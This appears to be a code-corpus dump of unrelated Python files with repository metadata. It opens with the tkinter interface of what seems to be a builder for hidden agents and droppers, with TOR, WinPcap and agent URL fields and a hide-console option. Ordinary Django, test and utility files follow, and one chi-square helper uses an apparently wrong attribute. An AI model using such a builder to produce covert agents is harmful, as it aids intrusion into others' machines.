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" im = tkinter.PhotoImage(data=base64img) tkinter.Label(top, image=im).place(x=13,y=10) labelframe = tkinter.LabelFrame(top, text="Builder Settings",padx=10, pady=10) labelframe.place(x=17,y=200) labelframe1 = tkinter.LabelFrame(top, text=labelwin,padx=188, pady=146) labelframe1.place(x=230,y=200) labelframe2 = tkinter.LabelFrame(top, text="Actions",padx=175, pady=100) labelframe2.place(x=241,y=280) labelframe3 = tkinter.LabelFrame(top, text="Settings",padx=188, pady=146) w2 = tkinter.Label(labelframe3, text="") labelframe4 = tkinter.LabelFrame(top, text="Dropper",padx=175, pady=30) w3 = tkinter.Label(labelframe4, text="") torlbl = tkinter.Label(top, text="TOR URL:") torentry = tkinter.Entry(top, width=45) winplbl = tkinter.Label(top, text="WINPCAP URL:") winpentry = tkinter.Entry(top, width=40) aglbl = tkinter.Label(top, text="AGENT URL:") agentry = tkinter.Entry(top, width=40) mycolor = '#%02x%02x%02x' % (240, 240, 237) # set your favourite rgb color var1 = tkinter.IntVar() cve = tkinter.Checkbutton(top, text="CONVERT TO ONE FILE", variable=var1) var2 = tkinter.IntVar() wme = tkinter.Checkbutton(top, text="WINDOWED MODE", variable=var2) var4 = tkinter.IntVar() con = tkinter.Checkbutton(top, text="HIDE CONSOLE", variable=var4) var3 = tkinter.IntVar() dbe = tkinter.Checkbutton(top, text="DEBUG EXE", variable=var3) var5 = tkinter.IntVar() bdr = tkinter.Checkbutton(top, text="BUILD DROPPER", variable=var5) src1 = tkinter.Label(top, text="ICO FILE(*):") pathfileconf1 = tkinter.Entry(top, width=30) browser1 = tkinter.Button(top, text="Browse...", width=10,command=brows1) src2 = tkinter.Label(top, text="OUTPUT FOLDER:") pathfileconf23 = tkinter.Entry(top, width=24) browser2 = tkinter.Button(top, text="Browse...", width=10,command=brows2) outexe = tkinter.Label(top, text="AGENT FILE NAME:") pathfileconf2 = tkinter.Entry(top, width=24) small_font2 = tkFont.Font(family="Helvetica", size=8) frame = tkinter.Frame(top) frame.place(x=250,y=305) listbox1 = tkinter.Listbox(frame,width=54, height=12,font=small_font2,background=mycolor) listbox1.pack(side="left", fill="y") scrollbar = tkinter.Scrollbar(frame, orient="vertical") scrollbar.pack(side="right", fill="y") listbox1.config(yscrollcommand=scrollbar.set) scrollbar.config(command=listbox1.yview) w = tkinter.Label(labelframe1, text="") w.pack() w1 = tkinter.Label(labelframe2, text="") w1.pack() # --- src = tkinter.Label(top, text="Source Configuration File:") src.place(x=240,y=220) pathfileconf = tkinter.Entry(top, width=33) pathfileconf.place(x=242,y=250) browser = tkinter.Button(top, text="Browse...", width=10,command=brows) browser.place(x=450,y=245) edit = tkinter.Button(top, text="Edit", width=8,command=edit_file) edit.place(x=540,y=245) # --- small_font = tkFont.Font(size=10) small_font1 = tkFont.Font(size=8,weight='bold') listbox = tkinter.Listbox(labelframe,width=25, height=17, font=small_font) listbox.pack() listbox.bind('<<ListboxSelect>>', onselect) for item in ["Builder Configuration","Settings"]: listbox.insert(tkinter.END, item) listbox.select_set(0) progress=ttk.Progressbar(top,orient=tkinter.HORIZONTAL,length=494,mode='determinate') progress.place(x=120,y=550) b = tkinter.Button(top, text="BUILD",padx=1,pady=0,width=12, font=small_font1, command=callback) b.place(x=15,y=550) top.mainloop()

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6

83d206a3c49cd75de6c7a30ab539eb58b4a508ff

112

py

Python

fluentcms_file/appsettings.py

bashu/fluentcms-file

cf62eb5b5073642c53473eab740f61e51762d26a

[ "Apache-2.0" ]

1

2021-11-19T10:39:47.000Z

fluentcms_file/appsettings.py

bashu/fluentcms-file

cf62eb5b5073642c53473eab740f61e51762d26a

[ "Apache-2.0" ]

null

fluentcms_file/appsettings.py

bashu/fluentcms-file

cf62eb5b5073642c53473eab740f61e51762d26a

[ "Apache-2.0" ]

null

from django.conf import settings FLUENTCMS_FILE_UPLOAD_TO = getattr(settings, "FLUENTCMS_FILE_UPLOAD_TO", ".")

28

77

0.8125

15

112

5.666667

0.666667

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0.494118

0.635294

0.682353

0

0.089286

112

3

78

37.333333

0.833333

0

0.223214

0.214286

0

1

0

false

0

0.5

0

0.5

0

1

0

null

1

0

1

0

null

0

1

0

6

83daccc9cadc1ecbb598a443e16799aa6ae2e63c

136

py

Python

tensor2struct/contexts/__init__.py

nghoanglong/tensor2struct-public

deb6f14de04ebcc5563b05b7fee86986d73bbd65

[ "MIT" ]

null

tensor2struct/contexts/__init__.py

nghoanglong/tensor2struct-public

deb6f14de04ebcc5563b05b7fee86986d73bbd65

[ "MIT" ]

null

tensor2struct/contexts/__init__.py

nghoanglong/tensor2struct-public

deb6f14de04ebcc5563b05b7fee86986d73bbd65

[ "MIT" ]

null

from . import spider_context from . import vitext2sql_phobert_context from . import spider_bert_context from . import overnight_context

27.2

40

0.852941

18

136

6.111111

0.444444

0.363636

0.463636

0

0.008333

0.117647

136

4

41

34

0.908333

0

1

0

true

0

1

0

1

0

1

0

null

1

0

1

0

null

0

1

0

1

0

6

f7c1735bcff4c53e435f36d1b3a3f9c52623ef5c

124

py

Python

modules/chisquare.py

rutgerhartog/apocrypha

29e475219a5e0d510899a512cfc7be030a32c758

[ "MIT" ]

null

modules/chisquare.py

rutgerhartog/apocrypha

29e475219a5e0d510899a512cfc7be030a32c758

[ "MIT" ]

null

modules/chisquare.py

rutgerhartog/apocrypha

29e475219a5e0d510899a512cfc7be030a32c758

[ "MIT" ]

null

from scipy.stats import chisquare as chi2 def calculate_chisquare(text: bytes) -> float: return chi2(text).statistics

20.666667

46

0.766129

17

124

5.529412

0.823529

0

0.019048

0.153226

124

5

47

24.8

0.87619

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1

0.333333

false

0

0.333333

1

0

1

0

null

0

1

0

null

0

1

0

1

0

6

f7d3c18a41e5b82ca777c517e9094973bf2eb833

99

py

Python

Python Programming/03. Functions/02-Arguments.py

luckyrabbit85/Python

ed134fd70b4a7b84b183b87b85ad5190f54c9526

[ "MIT" ]

1

2021-07-15T18:40:26.000Z

Python Programming/03. Functions/02-Arguments.py

luckyrabbit85/Python

ed134fd70b4a7b84b183b87b85ad5190f54c9526

[ "MIT" ]

null

Python Programming/03. Functions/02-Arguments.py

luckyrabbit85/Python

ed134fd70b4a7b84b183b87b85ad5190f54c9526

[ "MIT" ]

null

def greet(first_name, last_name): print(f"Hi {first_name} {last_name}") greet("Tom", "Hill")

16.5

41

0.666667

16

99

3.875

0.625

0.290323

0.419355

0.548387

0

0.141414

99

5

42

19.8

0.729412

0

0.343434

0

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0.333333

false

0

0.333333

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0

null

1

0

1

0

null

0

1

0

6

f7d8879b88b768977d70f6f555000648891460fe

30

py

Python

odoo-13.0/venv/lib/python3.8/site-packages/PcfFontFile.py

VaibhavBhujade/Blockchain-ERP-interoperability

b5190a037fb6615386f7cbad024d51b0abd4ba03

[ "MIT" ]

2

2021-06-20T16:56:45.000Z

2021-06-20T17:30:18.000Z

odoo-13.0/venv/lib/python3.8/site-packages/PcfFontFile.py

VaibhavBhujade/Blockchain-ERP-interoperability

b5190a037fb6615386f7cbad024d51b0abd4ba03

[ "MIT" ]

null

odoo-13.0/venv/lib/python3.8/site-packages/PcfFontFile.py

VaibhavBhujade/Blockchain-ERP-interoperability

b5190a037fb6615386f7cbad024d51b0abd4ba03

[ "MIT" ]

null

from PIL.PcfFontFile import *

15

29

0.8

4

30

6

1

0

0.133333

30

1

30

0.923077

0

1

0

true

0

1

0

1

0

1

0

null

0

1

0

null

0

1

0

1

0

1

0

6

f7f13767030af4354230b7bb859784c3bdfb21a1

2,072

py

Python

tests/threadfix/scans_test.py

matt-fevold/webbreaker

b500fc620ebba03a27321c8f832ab77bb760b9c5

[ "MIT" ]

7

2018-12-20T19:18:43.000Z

2019-12-10T15:03:41.000Z

tests/threadfix/scans_test.py

matt-fevold/webbreaker

b500fc620ebba03a27321c8f832ab77bb760b9c5

[ "MIT" ]

5

2019-04-02T17:07:44.000Z

2020-02-17T07:08:11.000Z

tests/threadfix/scans_test.py

matt-fevold/webbreaker

b500fc620ebba03a27321c8f832ab77bb760b9c5

[ "MIT" ]

7

2019-01-10T10:40:55.000Z

2022-03-13T14:08:37.000Z

import mock import pytest from webbreaker.threadfix.scans import ThreadFixScans from threadfixproapi.threadfixpro import ThreadFixProResponse @mock.patch('webbreaker.threadfix.scans.ThreadFixHelper') @mock.patch('webbreaker.threadfix.scans.threadfixloghelper') def test_threadfix_scans_successful_list(log_mock, helper_mock): app_id = '123' expected_list_scans = ThreadFixProResponse(message='test', success=True, data=[{'id': app_id, 'scannerName': 'scanner name'}]) helper_mock.return_value.api.list_scans.return_value = expected_list_scans helper_mock.return_value.api.get_scan_details.return_value = ThreadFixProResponse(message='test', success=True, data={'originalFileNames': ['filename.xml']}) ThreadFixScans(app_id) assert helper_mock.call_count == 1 assert log_mock.log_info_threadfix_scans_listed_success.call_count == 1 assert log_mock.log_error_no_scans_found_with_app_id.call_count == 0 @mock.patch('webbreaker.threadfix.scans.ThreadFixHelper') @mock.patch('webbreaker.threadfix.scans.threadfixloghelper') def test_threadfix_scans_empty_list(log_mock, helper_mock): app_id = '123' expected_list_scans = ThreadFixProResponse(message='no scans', success=True, data=[]) helper_mock.return_value.api.list_scans.return_value = expected_list_scans ThreadFixScans(app_id) assert helper_mock.call_count == 1 assert log_mock.log_info_threadfix_scans_listed_success.call_count == 0 assert log_mock.log_error_no_scans_found_with_app_id.call_count == 1 @mock.patch('webbreaker.threadfix.scans.ThreadFixHelper') @mock.patch('webbreaker.threadfix.scans.threadfixloghelper') def test_threadfix_scans_failed_response(log_mock, helper_mock): app_id = '123' expected_list_scans = ThreadFixProResponse(message='error', success=False, data=[]) helper_mock.return_value.api.list_scans.return_value = expected_list_scans with pytest.raises(SystemExit): ThreadFixScans(app_id) assert helper_mock.call_count == 1 assert log_mock.log_info_threadfix_scans_listed_success.call_count == 0

49.333333

161

0.802606

274

2,072

5.708029

0.208029

0.116368

0.107417

0.807545

0.792199

0.750639

0.75

0

0.00911

0.099421

2,072

42

162

49.333333

0.829046

0

0.571429

0

0.166425

0.125904

0

0.228571

1

0.085714

false

0

0.114286

0

0.2

0

null

0

1

0

null

0

6

f7f3b069ac9453e06095e4da6b3648da09f640b7

35

py

Python

tools/Polygraphy/polygraphy/util/__init__.py

borisfom/TensorRT

42805f078052daad1a98bc5965974fcffaad0960

[ "Apache-2.0" ]

1

2022-03-05T08:46:19.000Z

tools/Polygraphy/polygraphy/util/__init__.py

maxpark/TensorRT

46253b644142a1d9632ba463422abfc5dcefc371

[ "Apache-2.0" ]

null

tools/Polygraphy/polygraphy/util/__init__.py

maxpark/TensorRT

46253b644142a1d9632ba463422abfc5dcefc371

[ "Apache-2.0" ]

1

2022-03-19T16:03:30.000Z

from polygraphy.util.util import *

17.5

34

0.8

5

35

5.6

0.8

0

0.114286

35

1

35

0.903226

0

1

0

true

0

1

0

1

0

1

0

null

0

1

0

null

0

1

0

1

0

1

0

6

f710d5a412901836e4796796cab79d895bf657b5

8,929

py

Python

healthbuddy_backend/fake_news/tests.py

Asfak06/health-buddy

1a40a35a95bc4179a44445ed0c0b9dc32360e0bc

[ "MIT" ]

null

healthbuddy_backend/fake_news/tests.py

Asfak06/health-buddy

1a40a35a95bc4179a44445ed0c0b9dc32360e0bc

[ "MIT" ]

null

healthbuddy_backend/fake_news/tests.py

Asfak06/health-buddy

1a40a35a95bc4179a44445ed0c0b9dc32360e0bc

[ "MIT" ]

null

from django.contrib.auth.models import User from django.urls import reverse_lazy from .models import FakeNews from ..utils.base_test import AuthenticationTestTemplate class FakeNewsListTestCase(AuthenticationTestTemplate): def _get_callable_client_method_http(self): return self._client.get def _get_basename_url(self): return "fakenews-list" def _get_kwargs_url(self): return {} def test_action_user_without_permission(self): """all logged user has permission.""" pass def test_list_10_obj_paginated_token(self): fakenews = [] user = self.create_normal_user("author") for i in range(0, 11): fakenews.append( FakeNews( author=user, title=f"test create fakenews title{i}", subtitle=f"test create fakenews subtitle{i}", body=f"test create fakenews body{i}", ) ) FakeNews.objects.bulk_create(fakenews) tokens = self.get_token_valid_normal_user() token_access = 